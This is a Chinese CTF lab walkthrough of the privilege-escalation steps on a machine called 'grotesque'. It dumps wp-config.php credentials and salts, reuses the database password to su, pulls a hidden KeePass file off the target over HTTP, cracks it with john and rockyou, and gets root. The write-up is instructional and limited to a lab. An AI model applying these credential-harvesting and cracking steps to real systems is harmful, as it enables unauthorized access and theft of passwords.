www-data@grotesque:/var/www/html/lyricsblog$ 

三、权限提升

1、切换bash

复制代码
which python

python -c 'import pty;pty.spawn("/bin/bash")';
复制代码
www-data@grotesque:/var/www/html/lyricsblog$ which python
which python
/usr/bin/python
www-data@grotesque:/var/www/html/lyricsblog$ python -c 'import pty;pty.spawn("/bin/bash")';
<log$ python -c 'import pty;pty.spawn("/bin/bash")';
www-data@grotesque:/var/www/html/lyricsblog$ 

去网站目录下找wp-config.php

复制代码
www-data@grotesque:/var/www/html/lyricsblog$ ls
ls
index.php	    wp-comments-post.php  wp-links-opml.php  wp-trackback.php
license.txt	    wp-config-sample.php  wp-load.php	     xmlrpc.php
readme.html	    wp-config.php	  wp-login.php	     yesman.png
wp-activate.php     wp-content		  wp-mail.php
wp-admin	    wp-cron.php		  wp-settings.php
wp-blog-header.php  wp-includes		  wp-signup.php
www-data@grotesque:/var/www/html/lyricsblog$ 

www-data@grotesque:/var/www/html/lyricsblog$ cat wp-config.php
cat wp-config.php
<?php
/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the
 * installation. You don't have to use the web site, you can
 * copy this file to "wp-config.php" and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * MySQL settings
 * * Secret keys
 * * Database table prefix
 * * ABSPATH
 *
 * @link https://wordpress.org/support/article/editing-wp-config-php/
 *
 * @package WordPress
 */

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress_db' );

/** MySQL database username */
define( 'DB_USER', 'raphael' );

/** MySQL database password */
define( 'DB_PASSWORD', '_double_trouble_' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );

/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );

/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

define( 'WP_HOME', 'http://' . $_SERVER['HTTP_HOST'] . '/lyricsblog' );
define( 'WP_SITEURL', 'http://' . $_SERVER['HTTP_HOST'] . '/lyricsblog' );

/**#@+
 * Authentication Unique Keys and Salts.
 *
 * Change these to different unique phrases!
 * You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}
 * You can change these at any point in time to invalidate all existing cookies. This will force all users to have to log in again.
 *
 * @since 2.6.0
 */
define( 'AUTH_KEY',         'q;I)3.~f|.,56rB8mfcnc@m{v3,#K,BF?1fs`kt_eps,JBW5^iXX|X!@<,4Rl|e7' );
define( 'SECURE_AUTH_KEY',  'R#A1_:([8 .a%NN>|R E{jra$iFNs+EE,01MF<,xktB{>#EU>{I4[o7:OqH0t/hZ' );
define( 'LOGGED_IN_KEY',    'tOT;gZywa7DxmVltG<>S471#Ao!89LV2U7o;QpWQd{$C^naZIW~}fS7/N7D/nvry' );
define( 'NONCE_KEY',        'BO,4V2Q.|7Ub:7:Eqe+hg*vrlfiiwrkh9`[M>XaZ|S~=oV0AZE4b:@fk;m> ik1#' );
define( 'AUTH_SALT',        '[thF,y.H4W,T]2jR&@XefFn?g3ke@PH{cR52)SD^&Yw&7@Zv;[9Tq}%kC(.i<)wa' );
define( 'SECURE_AUTH_SALT', '?9,|+$1fP|;@2G+sUM|$f(pzb)}TeNhZ<mJ)*Y-AgcowEZg&V)Z /I3?/kI_f9IJ' );
define( 'LOGGED_IN_SALT',   '9pq[%!:+zhj2qm]MS:_7bvJ@g9qtW/G Ws-^7= Anop? m^h9]ofxz=R2th`ylb&' );
define( 'NONCE_SALT',       'al:JTfa3KbkapPUDm3k-PXR03aP8*c)-zwn?$d#nE#bj*NqsHs@&Ko2$A>}Csoo7' );

/**#@-*/

/**
 * WordPress Database Table prefix.
 *
 * You can have multiple installations in one database if you give each
 * a unique prefix. Only numbers, letters, and underscores please!
 */
$table_prefix = 'wp_';

/**
 * For developers: WordPress debugging mode.
 *
 * Change this to true to enable the display of notices during development.
 * It is strongly recommended that plugin and theme developers use WP_DEBUG
 * in their development environments.
 *
 * For information on other constants that can be used for debugging,
 * visit the documentation.
 *
 * @link https://wordpress.org/support/article/debugging-in-wordpress/
 */
define( 'WP_DEBUG', false );

/* That's all, stop editing! Happy publishing. */

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
	define( 'ABSPATH', __DIR__ . '/' );
}

/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';
www-data@grotesque:/var/www/html/lyricsblog$ 

得到用户密码

复制代码
USER:raphael
PASSWORD:_double_trouble_

2、提权至raphael用户

复制代码
su raphael
密码:_double_trouble_
复制代码
www-data@grotesque:/var/www/html/lyricsblog$ su raphael
su raphael
Password: _double_trouble_

raphael@grotesque:/var/www/html/lyricsblog$ cd
cd
raphael@grotesque:~$ 

去用户目录下查看是否有东西

复制代码
raphael@grotesque:~$ cd /home
cd /home
raphael@grotesque:/home$
raphael@grotesque:/home$ ls
ls
raphael
raphael@grotesque:/home$ 

raphael@grotesque:/home$ cd raphael
cd raphael
raphael@grotesque:~$ ls
ls
user.txt  vvmlist.github.io
raphael@grotesque:~$ 

raphael@grotesque:~$ cat user.txt
cat user.txt
F6ACB21652E095630BB1BEBD1E587FE7

raphael@grotesque:~$ 

raphael@grotesque:~$ 

成功拿到flag1

/home/raphael/路径下还有隐藏文件chadroot.kdbx

复制代码
raphael@grotesque:~$ ls -la
ls -la
total 24
drwxr-xr-x  4 raphael raphael 4096 Mar 25 06:25 .
drwxr-xr-x  3 root    root    4096 Jan 18  2021 ..
-rwx------  1 raphael raphael 2174 Jan 18  2021 .chadroot.kdbx
drwx------  3 raphael raphael 4096 Mar 25 06:25 .gnupg
-r-x------  1 raphael raphael   32 Jan 18  2021 user.txt
drwxr-xr-x 10 raphael raphael 4096 Jan 18  2021 [vvmlist.github.io](http://vvmlist.github.io/)
raphael@grotesque:~$

raphael@grotesque:~$

知识点: kdbx文件是由软件KeePass导出的密钥文件,可以将所有的密码都加密存储在这个文件中。只需要一个主密钥,即可解密该密钥文件,得到所有密码。

keepass2john是一个辅助工具,它用于从 KeePass 数据库 (.kdbx) 文件中提取哈希值,以便 John the Ripper 进行破解。

john是 John the Ripper 的主程序,负责使用不同的破解策略(如字典攻击、暴力破解等)对提取的哈希值进行破解,以尝试恢复原始密码。

先将该文件传输到kali上,靶机启动简易传输服务

复制代码
python3 -m http.server 8000
复制代码
raphael@grotesque:~$ python3 -m http.server 8000
python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

kali:

复制代码
wget http://192.168.5.10:8000/.chadroot.kdbx 
复制代码
┌──(root㉿kali)-[~]
└─# wget http://192.168.5.10:8000/.chadroot.kdbx 
--2026-03-25 07:55:51--  http://192.168.5.10:8000/.chadroot.kdbx
正在连接 192.168.5.10:8000... 已连接。
已发出 HTTP 请求,正在等待回应... 200 OK
长度:2174 (2.1K) [application/octet-stream]
正在保存至: “.chadroot.kdbx.1”

.chadroot.kdbx.1           100%[=====================================>]   2.12K  --.-KB/s  用时 0s      

2026-03-25 07:55:51 (366 MB/s) - 已保存 “.chadroot.kdbx.1” [2174/2174])

提取哈希值,将哈希值写入文件hash.txt

复制代码
keepass2john .chadroot.kdbx > hash.txt
复制代码
┌──(root㉿kali)-[~]
└─# keepass2john .chadroot.kdbx > hash.txt

┌──(root㉿kali)-[~]
└─# 
  

指定字典破解密码(初次使用该字典需要解压: gzip -d /usr/share/wordlists/rockyou.txt.gz)

复制代码
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
复制代码
┌──(root㉿kali)-[~]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt                 
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64])
Cost 1 (iteration count) is 60000 for all loaded hashes
Cost 2 (version) is 2 for all loaded hashes
Cost 3 (algorithm [0=AES 1=TwoFish 2=ChaCha]) is 0 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
chatter          (.chadroot)     
1g 0:00:03:12 DONE (2026-03-25 08:00) 0.005205g/s 140.4p/s 140.4c/s 140.4C/s cherry23..candyapple
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

爆破出密码为chatter

在浏览器中打开: https://app.keeweb.info

在此文件中保存了 4 个密码。所有这些都适用于"root"用户。如果您单击每个密码的"密码"字段,您将看到纯文本密码:.:.subjective.:.

使用第三个密码,即可成功切换到root用户。密码为:.:.subjective.:.

复制代码
raphael@grotesque:~$su root
su root
Password: .:.subjective.:.

root@grotesque:/# cd /root
cd /root
root@grotesque:~# ls
ls
logdel2  root.txt  vvmlist.sh
root@grotesque:~# cat root.txt
cat root.txt
AF7DD472654CBBCF87D3D7F509CB9862
root@grotesque:~# 

本文涉及的技术方法仅适用于 授权测试环境 或 合法 CTF 赛事。请勿在未授权的情况下对任何系统进行测试。安全之路,始于合规,终于责任。

相关推荐
寒秋花开曾相惜2 小时前
(学习笔记)4.1 Y86-64指令集体系结构(4.1.6 一些Y86-64指令 )
linux·运维·服务器·开发语言·笔记·学习·安全
сокол2 小时前
【网安-Web渗透测试-Linux提权】SUID提权
linux·前端·web安全·网络安全
白帽子黑客杰哥2 小时前
零基础学习网络安全的五大困难
web安全·渗透测试·湖南网安基地·网安培训
李白你好2 小时前
Webshell目标管理与远程会话 | 文件、命令、数据库及 Godzilla 兼容插件等能力。
web安全
zhz52142 小时前
一个简单、轻量级且安全的离线GIS 系统架构设计
安全·系统架构·vue·gis·fastapi
菩提小狗2 小时前
每日安全情报报告 · 2026-04-23
网络安全·漏洞·cve·安全情报·每日安全
QZ166560951592 小时前
2026年中国API安全产品排名:动态自适应与可追踪风险监测能力评估
安全
捉鸭子2 小时前
某红书X-s X-s-common VMP逆向(算法还原)
python·web安全·网络安全·node.js·网络爬虫
黎阳之光2 小时前
黎阳之光:以视频孪生硬核实力,抢抓交通科技新机遇
大数据·人工智能·算法·安全·数字孪生